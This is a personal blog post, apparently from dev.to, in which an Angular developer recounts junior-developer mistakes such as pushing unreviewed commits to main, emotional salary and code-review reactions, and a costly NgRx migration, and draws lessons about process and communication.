Junior developers often let ego get in the way. We'd rather spend 40 hours creating a terrible solution ourselves than ask for help and risk looking clueless for 5 minutes.

In the end with tears in my eyes I went to my superior and asked him for helped. He scolded me like a 12 year old child for waiting such a long time, but we solved all problems.

Now, as a senior, I've learned that saying “I don't know” is not a weakness. It's efficiency. It means I know when to ask the right person for help and move on.

It's worth mentioning that not asking for help has a dark opposite - asking for help too much. When you're new to a team, it's totally okay, even expected, to ask questions or get clarification when you're stuck. But be mindful of how you ask.

You don't want to turn your colleague into your personal Google and just wait for them to hand you answers. Instead, always share what you've already tried or the approaches you're considering. That way, your teammate can give more targeted advice and it shows that you've put in some effort before reaching out.

Poor Project Management

I was so happy when I first landed my first junior programming job. I wasn't questioning anything and I thought what they were doing was the gold standard in the tech industry. Well... not exactly.

I had basic Git skills — commit, push, pull, more or less what I do now. But what surprised me was that our team of five devs, were all pushed directly to the main branch. No feature branches, pull requests or code reviews. Straight up YOLO to main.

As the project was heading toward a big launch, every week our managers would demo new features to the client. Weekly presentations, that created an extreme pressure on us to deliver features fast.

I remember that the day before one of the presentations, I wanted to finish my task. I was doing some changes on the checkout page and commented out the payment button functionality for testing. Since no PR reviews were done, I forgot to uncomment the code, I made a commit and pushed into main. Happy with my changes I closed the PC and went home.

Next day demo time. The client notices the payment button doesn't work. “But it worked last week…” Hmm. They dig into the Git log. Whose name do they see? Mine. Awesome.

I received some gentle feedback, which motivated me to check each file changes before committing them.

I felt horrible at the time. But looking back, the real problem wasn't one junior dev pushing a broken commit, it was a complete lack of process. No reviews or QA or checks. If a bug makes it to production, it's never just one person's fault. It means something broke in the process the team is using.

Letting Your Emotions The Better Of You

We're all human (at least most of us), so no matter how many coaching sessions we attend or how many times we're told to “think before responding,” there will always be moments when emotions take over and we say something we probably shouldn't. Two classic examples are salary negotiations and PR reviews.

Let's start with salary. You're doing your job and doing it well. Over time, you take on more responsibility, lead more initiatives, and help others, all while your paycheck stays the same. At first, you're okay with it. But months go by, and the frustration quietly builds. Especially in tech, where your teammate, doing the same work (or occasionally even less), might be getting paid more. One day, you snap. You storm into your manager's office (or call him on MS Teams), list everything that's wrong, demand a raise and maybe even threaten to quit.

Now… was that a great strategy? Sure, you might get what you asked for, but it'll likely damage your relationship with your manager. And even if you “win,” you've created tension that can hurt you down the line. A better approach? Come prepared. Gather what you've accomplished over the past few months. Show the extra responsibilities you've taken on. Then, calmly ask if it would be fair to revisit your compensation. And remember, even if this has been bugging you for months, it's probably the first time your manager's hearing about the request. They won't have a solution immediately. You're not trying to corner them. You're trying to solve the problem together.

I see this a lot, especially with junior developers. At first, they feel “lucky to have a job” and just patiently wait for their manager to bring up a raise... and nothing happens. But here's the thing, you chose this company, and they hired you because they see value in you. If they want to keep you long-term, this conversation needs to happen. You should be having regular performance reviews where you lay out your contributions. That's the perfect time to start open up this topic. It may feel awkward at first, but these small, honest talks are what prevent bigger problems later on.

Now, on to PR reviews. Someone once told me code reviews are like standing naked in front of a mirror, all your flaws are right there, impossible to miss. When you submit a pull request, you usually feel pretty good about it. You expect a comment or two, but nothing major.

I remember once I submitted a 200-line PR and got 50 comments. Whether I was frustrated is not even a question. I almost wrote something regrettable to that person. At least it was still in morning and I had my willpower to stop myself. I took a break, cursed a bit, and then calmly called that person to walk though the feedback. The suggestions were more about the way of writing the code, rather than the business logic. The call was long and painful, but we came to a common ground, that appealed both of us and merged the PR.

Through the time I cultivated a positive mindset in a sense that nobody really wants bad for you. People just want to do their job well and sometimes they aren't the best at communicating. The message that you interpreted personally may have just been a rushed response from them. If you get angry, you need to sit with your emotions, let them pass a bit and just then start replaying. It is always you with your teammate against the problem and never you against him.

NgRx for State Management

I remember around 2018 there was a big push towards NgRx State Management. As your application scales, centralizing state management with a library like NgRx can help avoid code mess and make things more predictable. The argument was that relying on a proven library reduces the risk of introducing bugs through ad hoc state logic.

So I started to learn NgRx and this was the famous diagram I was staring at for a week until I thought understood what It meant.

I'm not going to explain the concept here, but let's just say it's not exactly beginner-friendly. I was trying to shift from writing imperative code to thinking declaratively, and that's a mental jump.

At the time, we were refactoring our custom RxJS Observables state into this NgRx concept. It was largely driven by one external senior developer, so we didn't question his decisions that much. I assumed that I lack some knowledge to understand this higher power wisdom.

But once we finished the migration, things got weird. Suddenly, our once relatively clean project had exploded in size. We had three to four times more files, and they were scattered across different folders — actions, reducers, effects, selectors, facades, and sometimes even duplicated types. What used to be a simple state update now required touching five different files, across multiple layers of abstraction. Even worse, onboarding new developers got tricky. Instead of showing them the logic in one place, we had to walk them through a mental map of how state flowed through the app.

Looking back, the mistake wasn't using NgRx. The mistake was using a powerful tool without fully understanding the paradigm shift it required and underestimating the cost of added complexity for a relatively small team. NgRx isn't "bad", it shines when it is used correctly. You can have the best hammer in the world if you are unable to use it properly.

Since some years have passed, I've seen NgRx introducing Component Store or even NgRx Signals which is a much lightweight implementation of the above picture. After some break I picked it up again and with a better understanding, and I wrote an article on Angular State Management - Imperative, Declarative, Ngrx and SignalSlice

From myself, I worked on projects with less than 500K lines of code on the frontend, where I prefer using custom signal based solution to manage application state. That said, I now understand why libraries like NgRx exist, and when they really shine. In large-scale applications with many developers, strict separation of concerns, predictable flows, and centralized debugging become critical. NgRx's declarative pattern can help enforce consistency across teams, make testing easier, and prevent accidental side effects. It's always best to try it out yourself and draw your own conclusions.

Key Takeaways

Honestly, and sadly, I could go on about all the mistakes I've made. But here's the real takeaway: we all screw up. Sometimes a little. Sometimes catastrophically. And that's exactly how you grow.

What makes a senior developer isn't knowing all the answers. It's knowing which bad decisions to avoid because you've already lived through the fallout. Experience doesn't just teach you what to do, it teaches you what not to do.

So fail. Then fail better. And maybe one day, you'll be writing blog posts like this, after you've finished crying over your failed side project. Hope you liked these short stories. Feel free to share your thoughts, catch more of my articles on dev.to, connect with me on LinkedIn or check my Personal Website.

DEV Community: Eduard Krivanek

Going Zoneless in Angular: What Actually Breaks

What Zone.js did for you

Why Angular is dropping Zone.js

What replaces it

How the scheduler batches work

How to turn it on

Patterns that just work

What actually breaks

Timers and promises that set plain fields

Manual subscriptions

Raw listeners and third party callbacks

In place mutations with OnPush

Your tests

Web components and custom elements

Libraries that assume Zone.js

How to migrate without breaking everything

A real migration, feature by feature

What you win

Trade offs and when not to do it

Common mistakes to avoid

Questions I get asked

Will zoneless make my app faster?

Do I have to rewrite everything to signals first?

Can I keep Zone.js for a while?

What about NgZone.run and runOutsideAngular?

Is this related to OnPush?

Conclusion

Further reading

Learning in the age of AI

Learning in Age of AI Feels Like Drowning. Here's How I'm Trying to Swim

What learning in age of AI actually feels like

Why endless educational content kills motivation

What AI is good at for learning, and where it quietly sabotages you

What changed after university, and why learning feels emotionally harder now

What finally helped me: fewer inputs, more proof

Pick one skill with labor market value, not ten interesting topics

Build learning around outputs that can embarrass you

Use AI late in cycle, not early

Stop optimizing resource stack

Make peace with missing out on useful knowledge

What I do now during typical week

Monday: define one concrete question

Midweek: struggle in public or at least on paper

Then: use AI as reviewer, not ghostwriter

End of week: produce one artifact

What did not work for me

"Follow your curiosity"

"Use AI to personalize your learning"

"Learn in public"

"Just stay consistent"

Known limitations of this approach

What learning in age of AI should probably become

If you're 25 and feel behind, start here

1. Choose one marketable skill for next 8 weeks

2. Pick one main resource and ignore rest

3. Use AI after first attempt

4. Produce one artifact every week

5. Review what you can do, not what you consumed

FAQ: learning in age of AI

Is AI making students and graduates less motivated to learn?

How should you use AI without becoming dependent on it?

What is best way to learn when there is too much content online?

Why does learning after university feel harder?

Closing: less content, more contact

Renderer2 vs render hooks vs direct DOM access in Angular

Unhandled CSS Ruining Life

When CSS stops being local

The warning signs that matter

What the destination should feel like

A small example of the real difference

Start where inconsistency hurts the most

The migration succeeds or fails on API design

The hardest part is global CSS

What the first visible wins usually look like

And only then does the Tailwind question become interesting

Angular - Power Of Renderer2

Why Direct DOM Access Is Risky

Summary

Exploiting Unvalidated Redirects for XSS

Using `effect`

Using `afterRenderEffect`

Using `afterNextRender` and `afterEveryRender`

What is the role of `NgZone` in Angular, and when would you opt out of Angular's change detection?

Why would you use a `track` function in a for-loop and how it works ?

What is the the difference between `providers` and `viewProviders` ? Can you provide an example when to use either of them ?

Why `pipes` are considered safe in a template, but regular function calls (not signals) are not ?

When to use `effect` and `untracked` in a signal based application ?

What is the difference between `share()` and `shareReplay()` ?

What does this code do ? - `scan()` + `expand()`